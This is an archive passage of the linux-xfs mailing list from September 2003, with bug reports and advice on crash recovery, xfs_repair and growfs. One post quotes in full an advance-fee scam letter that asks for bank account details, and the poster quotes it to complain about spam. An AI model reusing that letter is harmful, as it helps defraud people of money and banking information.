Thu Sep 4 18:52:26 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 04 Sep 2003 18:53:02 -0700 (PDT) Received: from tandu.perlsupport.com (mail@tandu.perlsupport.com [66.220.6.226]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h851qQWZ023494 for ; Thu, 4 Sep 2003 18:52:26 -0700 Received: from node-423a4e3a.pne.onnet.us.uu.net ([66.58.78.58] helo=tytlal) by tandu.perlsupport.com with asmtp (Exim 3.35 #1 (Debian)) id 19v5lx-0002Dh-00 for ; Thu, 04 Sep 2003 18:52:26 -0700 Received: from chip by tytlal with local (Exim 3.35 #1 (Debian)) id 19v5mb-0000Tu-00 for ; Thu, 04 Sep 2003 21:53:05 -0400 Date: Thu, 4 Sep 2003 21:53:05 -0400 From: Chip Salzenberg To: linux-xfs@oss.sgi.com Subject: [bug report] NUL-filled files after crash & recovery Message-ID: <20030905015305.GA1826@perlsupport.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.4i X-archive-position: 291 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: chip@pobox.com Precedence: bulk X-list: linux-xfs Content-Length: 980 Lines: 19 Due to some trouble with my X server (DRM, *sigh*) I just had a couple of quick crashes while logging off X sessions. But upon restart, I've found that some files in my home directory that were likely being written at crash time -- .xmms, .galeon, and .licq -- ended up filled entirely with NULs ('\0'). I'm running Andrea Arcangeli's kernel, which is based on 2.4.21pre7 but which contains quite a lot of VM development, as well as an update to: "SGI XFS 1.3.0pre2 with ACLs, no debug enabled". When I reported this problem to Andrea, he suggested I pass on the report to this list, because he could think of no reason for it in his patches. Any help? Clues? Please? I fear I may be stuck with either downgrading to ext3 or abandoning Andrea's kernel.... -- Chip Salzenberg - a.k.a. - "I wanted to play hopscotch with the impenetrable mystery of existence, but he stepped in a wormhole and had to go in early." // MST3K From owner-linux-xfs@oss.sgi.com Fri Sep 5 00:27:29 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 05 Sep 2003 00:27:36 -0700 (PDT) Received: from hermod.acsalaska.net (hermod.acsalaska.net [209.112.155.45]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h857RSx4014197 for ; Fri, 5 Sep 2003 00:27:29 -0700 Received: from erbenson.alaska.net (9-pm29.nwc.alaska.net [209.112.158.9]) by hermod.acsalaska.net (8.12.9/8.12.9) with ESMTP id h857RJ9H021338 for ; Thu, 4 Sep 2003 23:27:19 -0800 (AKDT) (envelope-from erbenson@alaska.net) Received: from plato.local.lan (plato.local.lan [192.168.0.4]) by erbenson.alaska.net (Postfix) with ESMTP id 330A039E5 for ; Thu, 4 Sep 2003 23:27:09 -0800 (AKDT) Received: by plato.local.lan (Postfix, from userid 1000) id 75BF640FF44; Thu, 4 Sep 2003 23:27:11 -0800 (AKDT) Date: Thu, 4 Sep 2003 23:27:11 -0800 From: Ethan Benson To: linux-xfs@oss.sgi.com Subject: Re: [bug report] NUL-filled files after crash & recovery Message-ID: <20030905072711.GK26003@plato.local.lan> Mail-Followup-To: linux-xfs@oss.sgi.com References: <20030905015305.GA1826@perlsupport.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="pWJxWxNlJUNgDlXi" Content-Disposition: inline In-Reply-To: <20030905015305.GA1826@perlsupport.com> User-Agent: Mutt/1.3.28i X-OS: Debian GNU X-gpg-fingerprint: E3E4 D0BC 31BC F7BB C1DD C3D6 24AC 7B1A 2C44 7AFC X-gpg-key: http://www.alaska.net/~erbenson/gpg/key.asc Mail-Copies-To: nobody X-No-CC: I subscribe to this list; do not CC me on replies. X-ACS-Spam-Status: no X-ACS-Scanned-By: MD 2.36; SA 2.55; spamdefang 1.50 X-Scanned-By: MIMEDefang 2.36 X-archive-position: 301 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: erbenson@alaska.net Precedence: bulk X-list: linux-xfs Status: O Content-Length: 1268 Lines: 40 --pWJxWxNlJUNgDlXi Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Thu, Sep 04, 2003 at 09:53:05PM -0400, Chip Salzenberg wrote: > Due to some trouble with my X server (DRM, *sigh*) I just had a couple > of quick crashes while logging off X sessions. But upon restart, I've > found that some files in my home directory that were likely being > written at crash time -- .xmms, .galeon, and .licq -- ended up filled > entirely with NULs ('\0'). this is in the FAQ, its far more rare with current code, but its still possible, and it is normal. you can avoid it by setting the +S flag (with chattr) on these kinds of tro= ublesome files (X stuff likes to keep those things open longer and write them more often it seems). you will need my immutable/file-flags patch for this to work though. --=20 Ethan Benson http://www.alaska.net/~erbenson/ --pWJxWxNlJUNgDlXi Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iEYEARECAAYFAj9YOs8ACgkQJKx7GixEevxqVACcC62KsAHewqu0DgIziHOqk2/t ywoAn2hG7HlfesCOBKXA6bvqij5aeLjs =v3hm -----END PGP SIGNATURE----- --pWJxWxNlJUNgDlXi-- From owner-linux-xfs@oss.sgi.com Fri Sep 5 01:07:49 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 05 Sep 2003 01:07:56 -0700 (PDT) Received: from zok.sgi.com (zok.SGI.COM [204.94.215.101]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8587mx4019145 for ; Fri, 5 Sep 2003 01:07:48 -0700 Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by zok.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with SMTP id h855MUq0012218 for ; Thu, 4 Sep 2003 22:22:31 -0700 Received: from wobbly.melbourne.sgi.com (wobbly.melbourne.sgi.com [134.14.55.135]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id PAA15132; Fri, 5 Sep 2003 15:22:28 +1000 Received: from frodo.melbourne.sgi.com (root@frodo.melbourne.sgi.com [134.14.55.153]) by wobbly.melbourne.sgi.com (SGI-8.12.5/8.12.5) with ESMTP id h855MRmY114310; Fri, 5 Sep 2003 15:22:27 +1000 (EST) Received: from frodo.melbourne.sgi.com (nathans@localhost [127.0.0.1]) by frodo.melbourne.sgi.com (8.12.9/8.12.9/Debian-3) with ESMTP id h855KY7W002040; Fri, 5 Sep 2003 15:20:34 +1000 Received: (from nathans@localhost) by frodo.melbourne.sgi.com (8.12.9/8.12.9/Debian-3) id h855KWi4002038; Fri, 5 Sep 2003 15:20:32 +1000 Date: Fri, 5 Sep 2003 15:20:32 +1000 From: Nathan Scott To: Simon Matter Cc: linux-xfs@oss.sgi.com Subject: Re: XFS shutdown with 1.3.0 Message-ID: <20030905052032.GD1126@frodo> References: <41782.213.173.165.140.1062330069.squirrel@imap01.ch.sauter-bc.com> <20030902071613.GB1378@frodo> <43946.213.173.165.140.1062501263.squirrel@imap01.ch.sauter-bc.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <43946.213.173.165.140.1062501263.squirrel@imap01.ch.sauter-bc.com> User-Agent: Mutt/1.5.3i X-archive-position: 305 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: nathans@sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 2359 Lines: 61 On Tue, Sep 02, 2003 at 01:14:23PM +0200, Simon Matter wrote: > > > >> agf_freeblks 22053, counted 30629 in ag 6 > >> agi_freecount 332, counted 331 in ag 153 > >> > >> [root@xxl root]# xfs_repair -n -l /dev/md9 /dev/md8 > > > > Running xfs_repair without -n might help in this case to fix sufficient > > data on the first run that subsequent runs don't dump core. :| > > Now that I took a recent backup of the most important data, I'll try this > next :) Good thinking. > > > > The gdb trace from xfs_repair will provide more clues here too. > > > >> xfs_repair: warning - cannot get sector size from block device /dev/md8: > >> Invalid argument > >> xfs_repair: warning - cannot get sector size from block device /dev/md9: > >> Invalid argument > >> Phase 1 - find and verify superblock... > >> sb root inode value 128 inconsistent with calculated value 512 > >> would reset superblock root inode pointer to 512 This error is key I think - from your stack trace, it looks like xfs_repair is dumping core related to this (it _should_ be thinking the root inode# is 128 for your fs, not 512). > > Wierd. Is this a 4K blocksize filesystem? Do you have xfs_info > > output handy? taa. > > [root@xxl root]# xfs_info /home > meta-data=/home isize=256 agcount=160, agsize=262144 blks > = sectsz=512 > data = bsize=4096 blocks=41889120, imaxpct=25 > = sunit=32 swidth=96 blks, unwritten=0 > naming =version 2 bsize=4096 > log =external bsize=4096 blocks=25600, version=1 > = sectsz=512 sunit=0 blks > realtime =none extsz=393216 blocks=0, rtextents=0 > > IIRC I created the FS with some XFS 1.0.x version. The size was ~20G, I > have since grown it to ~170G. Oh. There was a growfs bug for a long time, fixed only recently, where the kernel growfs code would often corrupt the new last AG of the grown filesystem. I wonder if that may have started this off for you. Probably the best bet at this stage will be to re-mkfs and restore your backup. Be good to know what went wrong in repair though. You will probably get a better ondisk layout that way too (you should see a smaller agcount when you re-mkfs, and bigger AG size). cheers. -- Nathan From owner-linux-xfs@oss.sgi.com Fri Sep 5 02:22:22 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 05 Sep 2003 02:22:28 -0700 (PDT) Received: from mx-01-bsl.sauter-bc.com (mx-01-bsl.sauter-bc.com [213.173.165.132]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h859MKx4016040 for ; Fri, 5 Sep 2003 02:22:21 -0700 Received: from mailhub.ch.sauter-bc.com (mailhub [10.1.6.26]) by mx-01-bsl.sauter-bc.com (Postfix) with ESMTP id 9370932CB0; Fri, 5 Sep 2003 11:22:14 +0200 (CEST) Received: from imap01.ch.sauter-bc.com (imap01.ch.sauter-bc.com [10.1.6.25]) by mailhub.ch.sauter-bc.com (Postfix) with ESMTP id 1BF4632CD1; Fri, 5 Sep 2003 11:22:14 +0200 (CEST) Received: from webmail.ch.sauter-bc.com (localhost.localdomain [127.0.0.1]) by imap01.ch.sauter-bc.com (Postfix) with SMTP id ACBB311E22; Fri, 5 Sep 2003 11:22:13 +0200 (CEST) Received: from 10.1.200.117 (SquirrelMail authenticated user mattesim) by imap01.ch.sauter-bc.com with HTTP; Fri, 5 Sep 2003 11:22:13 +0200 (CEST) Message-ID: <2588.10.1.200.117.1062753733.squirrel@imap01.ch.sauter-bc.com> In-Reply-To: <20030905052032.GD1126@frodo> References: <41782.213.173.165.140.1062330069.squirrel@imap01.ch.sauter-bc.com> <20030902071613.GB1378@frodo> <43946.213.173.165.140.1062501263.squirrel@imap01.ch.sauter-bc.com> <20030905052032.GD1126@frodo> Date: Fri, 5 Sep 2003 11:22:13 +0200 (CEST) Subject: Re: XFS shutdown with 1.3.0 From: "Simon Matter" To: "Nathan Scott" Cc: linux-xfs@oss.sgi.com User-Agent: SquirrelMail/1.4.1 MIME-Version: 1.0 Content-Type: text/plain;charset=iso-8859-1 X-Priority: 3 Importance: Normal Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id h859MNx4016131 X-archive-position: 311 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: simon.matter@ch.sauter-bc.com Precedence: bulk X-list: linux-xfs Status: O Content-Length: 2152 Lines: 52 > > This error is key I think - from your stack trace, it looks like > xfs_repair is dumping core related to this (it _should_ be thinking > the root inode# is 128 for your fs, not 512). > >> > Wierd. Is this a 4K blocksize filesystem? Do you have xfs_info >> > output handy? taa. >> >> [root@xxl root]# xfs_info /home >> meta-data=/home isize=256 agcount=160, agsize=262144 >> blks >> = sectsz=512 >> data = bsize=4096 blocks=41889120, >> imaxpct=25 >> = sunit=32 swidth=96 blks, >> unwritten=0 >> naming =version 2 bsize=4096 >> log =external bsize=4096 blocks=25600, version=1 >> = sectsz=512 sunit=0 blks >> realtime =none extsz=393216 blocks=0, rtextents=0 >> >> IIRC I created the FS with some XFS 1.0.x version. The size was ~20G, I >> have since grown it to ~170G. > > Oh. There was a growfs bug for a long time, fixed only recently, > where the kernel growfs code would often corrupt the new last AG of > the grown filesystem. I wonder if that may have started this off > for you. Maybe. Unfortunately I don't remember which filesystems have been grown or not. I have just tried xfs_repair on /tmp and /opt and they both have the same problem. Running xfs_repair results in lost files and others moved to lost+found. Not good. > > Probably the best bet at this stage will be to re-mkfs and restore > your backup. Be good to know what went wrong in repair though. > You will probably get a better ondisk layout that way too (you > should see a smaller agcount when you re-mkfs, and bigger AG size). > Probably the only way now to fix the box. rpm -Va show that the filesystems are still okay and no corruption occured. Seems that running xfs_repair is a bad idea now. I'll now move the hole system to newly created filesystems. Unfortunately the problem looks like a timebomb to me. Is there a way to find out whether a filesystem has ever been grown? This would help me to find out whether the growing was the culprit here. Simon From owner-linux-xfs@oss.sgi.com Fri Sep 5 03:36:48 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 05 Sep 2003 03:36:54 -0700 (PDT) Received: from tolkor.sgi.com (tolkor.SGI.COM [198.149.18.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h85Aalx4022639 for ; Fri, 5 Sep 2003 03:36:48 -0700 Received: from flecktone.americas.sgi.com (flecktone.americas.sgi.com [192.48.203.135]) by tolkor.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with ESMTP id h853bXss025510 for ; Thu, 4 Sep 2003 22:37:33 -0500 Received: from poppy-e236.americas.sgi.com (poppy-e236.americas.sgi.com [128.162.236.207]) by flecktone.americas.sgi.com (8.12.9/8.12.9/generic_config-1.2) with ESMTP id h853Kecc11523457; Thu, 4 Sep 2003 22:20:40 -0500 (CDT) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.232.50]) by poppy-e236.americas.sgi.com (8.12.9/SGI-server-1.8) with ESMTP id h853KegV583284; Thu, 4 Sep 2003 22:20:40 -0500 (CDT) Date: Thu, 4 Sep 2003 22:20:40 -0500 (CDT) From: Eric Sandeen X-X-Sender: sandeen@stout.americas.sgi.com To: Stephan L Jansen cc: linux-xfs@oss.sgi.com Subject: Re: Building 2.4.20-19 for RH 7.3 In-Reply-To: <753527EA-DF2E-11D7-BFCA-003065F970BA@astro.wisc.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 317 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: sandeen@sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 131 Lines: 8 That is correct. -Eric On Thu, 4 Sep 2003, Stephan L Jansen wrote: > Should nptl patches be turned off for RedHat 8.0 as well? From owner-linux-xfs@oss.sgi.com Fri Sep 5 07:26:31 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 05 Sep 2003 07:26:36 -0700 (PDT) Received: from rwcrmhc12.comcast.net (rwcrmhc12.comcast.net [216.148.227.85]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h85EQUx4011781 for ; Fri, 5 Sep 2003 07:26:31 -0700 Received: from comcast.net (12-253-72-16.client.attbi.com[12.253.72.16]) by comcast.net (rwcrmhc12) with SMTP id <2003090514262401400r99tre> (Authid: stimits); Fri, 5 Sep 2003 14:26:25 +0000 Message-ID: <3F589D95.6020206@comcast.net> Date: Fri, 05 Sep 2003 08:28:37 -0600 From: "D. Stimits" Reply-To: stimits@comcast.net User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2b) Gecko/20021018 X-Accept-Language: en-us, en MIME-Version: 1.0 CC: linux-xfs@oss.sgi.com Subject: geez References: <200309051423.h85ENDx4010427@oss.sgi.com> In-Reply-To: <200309051423.h85ENDx4010427@oss.sgi.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 338 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: stimits@comcast.net Precedence: bulk X-list: linux-xfs Content-Length: 4298 Lines: 113 These Nigerian scam idiots are competing with the mass spammers. SGI will never get off their spam list if someone from SGI doesn't either find someone to go through the header and turn it over to every relevant link, or at least add some of the key words to a virus filter and just have it bounce. CHARLES LINDA BIROS, wrote: > FROM Charles Biros AND Linda Biros > ABIDJAN, REPUBLIC OF COTE-D'IVOIRE > > > Dear Sir, > > WITH THE BEST COMPLIMENTS OF THE YEAR, > I wish to solicit your help in migrating to your country, My name is > CHARLES SAM and Linda are the children of Late General Alexandre Biros > > the former Director of military inteligence and special acting General > Manager of the Sieria Leone Diamond mining coperation(SLDMC ). I am > contacting you to seek your good assistance to transfer and invest > USD18,5 > million belonging to my late father which is deposited in a bank in > Abidjan. This money is revenues from solid minirals and dimonds sale > which > were under my fathers possession before the civil war broke out. > > Following the brake out of the war, almost all government offices, > coperations and parastatals were attacked and vandalized. The SLDMC was > loothed and burnt down to ashes, and diamonds worth millions of dollars > was > stolen by the rebel military forces who attacked my fathers office. > > Many top government officials and senior army officers were assasinated > and > my father was a key target because of his very sensitive military > possition > and appointment in the SLDMC. Regreatably, my father was captured and > murdered along with half brother in cool blood during a mid-night rebel > shoot-out when our official residence in freetown was armbushed by > Fordey > Sanko the notorious rebel leader. > > My mother sustainded very sever bullet injuries which > resulted to her untimelyand painful death in a private > hospital here in Ivory Coast. > > Now we are alone in a totally strange country without > parents, relatives or any body to care for us at our tender ages. > > Before our mother died, she told us that our father > deposited some money which he made from diamond sales and contracts at > this > bank here in Ivory Coast and that we should pray and find a trustworthy > foreign business partner who would help us to transfer and invest this > money in profitable business venture overseas. She told us to do this > quickly so that we can leave Ivory Coast with our cousin brother-Arthur > who > is here in the camp with us and,then settle down abroad. She gave us > all > the bank documents to prove the deposit and then told us that my father > used my name as the only son to deposit the money in the bank.She told > us > that this is the reason why we came to Ivory Coast. My mother died > afterwards. May her spirit rest in perfect peace. > > I have gone to the bank to make inquires about this money and I spoke > with > the director of International remittance who assured me that the > everything > is intact and promised to help me transfer this money to my foreign > partners bank account as soon as I provide my partners foreign bank > account > for them. However, the director is very concerned because of my age, I > am > 21 years and as such promised to help me and he would like to speak > with my > partner to ensure that this money is invested wisely in only rofitable > business because of his personal interest and sympathy for > me. > > If you are will to assist us, please let us know > immediately and provide us with your following information for bank > here: > 1. Your full names and address, tel/ fax > 2. Name of Bank and addres, Tel/fax/telex > 3. Account name and number and > 4. swift code etc. > Please note that I can only offer you 25% of the total > money as compensation for your noble assistance in > accodiance with my mothers advise. I am interested in any profitable > commercial venture which you consider very good in your country and you > would also get a school for me, my little sister and cousin so that we > can > finish our colledge education. > > I am hoping to hear your urgent response so that I can not look for > another > foreign partner. > > Thank you and may God bless you and your dear family. > > Yours sincerely > Charles and Linda .biros > > > > > > > From owner-linux-xfs@oss.sgi.com Fri Sep 5 07:59:59 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 05 Sep 2003 08:00:05 -0700 (PDT) Received: from mx-01-bsl.sauter-bc.com (mx-01-bsl.sauter-bc.com [213.173.165.132]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h85Exwx4015299 for ; Fri, 5 Sep 2003 07:59:59 -0700 Received: from mailhub.ch.sauter-bc.com (mailhub [10.1.6.26]) by mx-01-bsl.sauter-bc.com (Postfix) with ESMTP id 4E1A532CBF; Fri, 5 Sep 2003 16:59:52 +0200 (CEST) Received: from imap01.ch.sauter-bc.com (imap01.ch.sauter-bc.com [10.1.6.25]) by mailhub.ch.sauter-bc.com (Postfix) with ESMTP id 931EA32CD1; Fri, 5 Sep 2003 16:59:51 +0200 (CEST) Received: from webmail.ch.sauter-bc.com (localhost.localdomain [127.0.0.1]) by imap01.ch.sauter-bc.com (Postfix) with SMTP id 2C93111E2A; Fri, 5 Sep 2003 16:59:51 +0200 (CEST) Received: from 213.173.165.140 (proxying for 157.161.81.191) (SquirrelMail authenticated user mattesim) by imap01.ch.sauter-bc.com with HTTP; Fri, 5 Sep 2003 16:59:51 +0200 (CEST) Message-ID: <47675.213.173.165.140.1062773991.squirrel@imap01.ch.sauter-bc.com> In-Reply-To: <3F589D95.6020206@comcast.net> References: <200309051423.h85ENDx4010427@oss.sgi.com> <3F589D95.6020206@comcast.net> Date: Fri, 5 Sep 2003 16:59:51 +0200 (CEST) Subject: Re: geez From: "Simon Matter" To: stimits@comcast.net Cc: linux-xfs@oss.sgi.com User-Agent: SquirrelMail/1.4.1 MIME-Version: 1.0 Content-Type: text/plain;charset=iso-8859-1 X-Priority: 3 Importance: Normal Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id h85Exxx4015307 X-archive-position: 341 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: simon.matter@ch.sauter-bc.com Precedence: bulk X-list: linux-xfs Content-Length: 758 Lines: 26 Hmm, Abidjan isn't in Nigeria :) But I agree, sometimes I'd like to filter like this: X-Mailer: Microsoft Outlook. Simon > These Nigerian scam idiots are competing with the mass spammers. SGI > will never get off their spam list if someone from SGI doesn't either > find someone to go through the header and turn it over to every relevant > link, or at least add some of the key words to a virus filter and just > have it bounce. > > CHARLES LINDA BIROS, wrote: > >> FROM Charles Biros AND Linda Biros >> ABIDJAN, REPUBLIC OF COTE-D'IVOIRE >> >> >> Dear Sir, >> >> WITH THE BEST COMPLIMENTS OF THE YEAR, >> I wish to solicit your help in migrating to your country, My name is >> CHARLES SAM and Linda are the children of Late General Alexandre Biros From owner-linux-xfs@oss.sgi.com Fri Sep 5 08:51:42 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 05 Sep 2003 08:52:16 -0700 (PDT) Received: from zok.sgi.com (zok.SGI.COM [204.94.215.101]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h85Fpfx4022206 for ; Fri, 5 Sep 2003 08:51:41 -0700 Received: from flecktone.americas.sgi.com (flecktone.americas.sgi.com [192.48.203.135]) by zok.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with ESMTP id h85Fpaq0008993 for ; Fri, 5 Sep 2003 08:51:36 -0700 Received: from poppy-e236.americas.sgi.com (poppy-e236.americas.sgi.com [128.162.236.207]) by flecktone.americas.sgi.com (8.12.9/8.12.9/generic_config-1.2) with ESMTP id h85FpWcc11486416; Fri, 5 Sep 2003 10:51:32 -0500 (CDT) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.232.50]) by poppy-e236.americas.sgi.com (8.12.9/SGI-server-1.8) with ESMTP id h85FpWgU629337; Fri, 5 Sep 2003 10:51:33 -0500 (CDT) Subject: Re: XFS shutdown with 1.3.0 From: Eric Sandeen To: Simon Matter Cc: Nathan Scott , linux-xfs@oss.sgi.com In-Reply-To: <2588.10.1.200.117.1062753733.squirrel@imap01.ch.sauter-bc.com> References: <41782.213.173.165.140.1062330069.squirrel@imap01.ch.sauter-bc.com> <20030902071613.GB1378@frodo> <43946.213.173.165.140.1062501263.squirrel@imap01.ch.sauter-bc.com> <20030905052032.GD1126@frodo> <2588.10.1.200.117.1062753733.squirrel@imap01.ch.sauter-bc.com> Content-Type: text/plain Organization: Message-Id: <1062777091.30863.5.camel@stout.americas.sgi.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 (1.2.2-5) Date: 05 Sep 2003 10:51:32 -0500 Content-Transfer-Encoding: 7bit X-archive-position: 345 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: sandeen@sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 683 Lines: 19 There's no simple way... probably the easiest way, assuming you generally use default mkfs options, and an internal log, is to check whether the internal log is in the middle ag. If so, it hasn't been grown. If it's located in the first half of the filesystem, then it has been grown. -Eric On Fri, 2003-09-05 at 04:22, Simon Matter wrote: > Unfortunately the problem looks like a timebomb to me. Is there a way to > find out whether a filesystem has ever been grown? This would help me to > find out whether the growing was the culprit here. > > Simon -- Eric Sandeen [C]XFS for Linux http://oss.sgi.com/projects/xfs sandeen@sgi.com SGI, Inc. 651-683-3102 From owner-linux-xfs@oss.sgi.com Fri Sep 5 10:13:44 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 05 Sep 2003 10:13:48 -0700 (PDT) Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.9/8.12.5) with ESMTP id h85HDhx4029194 for ; Fri, 5 Sep 2003 10:13:43 -0700 Received: (from xfs@localhost) by oss.sgi.com (8.12.9/8.12.8/Submit) id h85HDhFu029190 for linux-xfs@oss.sgi.com; Fri, 5 Sep 2003 10:13:43 -0700 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.9/8.12.5) with ESMTP id h85HDcx6029158 for ; Fri, 5 Sep 2003 10:13:39 -0700 Received: (from apache@localhost) by oss.sgi.com (8.12.9/8.12.8/Submit) id h85Gd10N026550; Fri, 5 Sep 2003 09:39:01 -0700 Date: Fri, 5 Sep 2003 09:39:01 -0700 Message-Id: <200309051639.h85Gd10N026550@oss.sgi.com> From: bugzilla-daemon@oss.sgi.com To: xfs-master@oss.sgi.com Subject: [Bug 278] New: xfs_growfs crashes with kernel bug for negative grow sizes X-Bugzilla-Reason: AssignedTo X-archive-position: 347 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: bugzilla-daemon@oss.sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 748 Lines: 28 http://oss.sgi.com/bugzilla/show_bug.cgi?id=278 Summary: xfs_growfs crashes with kernel bug for negative grow sizes Product: Linux XFS Version: unspecified Platform: All OS/Version: Linux Status: NEW Severity: normal Priority: High Component: xfsprogs AssignedTo: xfs-master@oss.sgi.com ReportedBy: ab@samba.org There are no checks for negative values in all xfsprogs. For example, xfs_growfs crashes: # xfs_grouwfs -D -5g /some-xfs kernel BUG at filename.c:839! invalid operand: 00000 .... .... ------- You are receiving this mail because: ------- You are the assignee for the bug, or are watching the assignee. From owner-linux-xfs@oss.sgi.com Fri Sep 5 13:38:48 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 05 Sep 2003 13:39:31 -0700 (PDT) Received: from mail.navegants.com (168.Red-213-96-90.pooles.rima-tde.net [213.96.90.168]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h85Kclx4002567 for ; Fri, 5 Sep 2003 13:38:48 -0700 Received: from oemcomputer.yahoo.es (atlantia [172.26.0.4]) by mail.navegants.com (Postfix) with ESMTP id EAF2AA4EC3 for ; Fri, 5 Sep 2003 22:50:48 +0200 (CEST) Message-Id: <6.0.0.22.2.20030905223147.02556bc0@pop1> X-Sender: jbt_030@pop.correo.yahoo.es (Unverified) X-Mailer: QUALCOMM Windows Eudora Version 6.0.0.22 Date: Fri, 05 Sep 2003 22:34:21 +0200 To: linux-xfs@oss.sgi.com From: Josep Subject: Xfs crash Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id h85Kcnx4002590 X-archive-position: 348 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: jbt_030@yahoo.es Precedence: bulk X-list: linux-xfs Content-Length: 373 Lines: 12 Hello. When I´m using mozilla oftenly xfs crashes and i must restart service xfs if I want start mozilla another time,this happen me little when I read in english or spanish,but often when read in russian or open chinese pop-ups. Any suggestion for check where is the problem?This happened me with Redhat9 and now with Redhat Taroon Beta 2 exactly the same. Thanks. From owner-linux-xfs@oss.sgi.com Fri Sep 5 13:48:44 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 05 Sep 2003 13:49:19 -0700 (PDT) Received: from mpls-qmqp-01.inet.qwest.net (mpls-qmqp-01.inet.qwest.net [63.231.195.112]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h85Kmhx4006905 for ; Fri, 5 Sep 2003 13:48:44 -0700 Received: (qmail 15431 invoked by uid 0); 5 Sep 2003 20:48:41 -0000 Received: from unknown (63.231.195.9) by mpls-qmqp-01.inet.qwest.net with QMQP; 5 Sep 2003 20:48:40 -0000 Received: from unknown (HELO software1.logiplex.internal) (65.102.60.133) by mpls-pop-09.inet.qwest.net with SMTP; 5 Sep 2003 20:48:39 -0000 Date: Fri, 05 Sep 2003 13:48:38 -0700 Message-Id: <1062794918.8012.2.camel@software1.logiplex.internal> From: "Cliff Wells" To: "Josep" Cc: linux-xfs@oss.sgi.com Subject: Re: Xfs crash In-Reply-To: <6.0.0.22.2.20030905223147.02556bc0@pop1> References: <6.0.0.22.2.20030905223147.02556bc0@pop1> Content-Type: text/plain; charset=iso-8859-1 Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.4 Content-Transfer-Encoding: 8bit X-archive-position: 349 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: logiplex@qwest.net Precedence: bulk X-list: linux-xfs Content-Length: 629 Lines: 18 On Fri, 2003-09-05 at 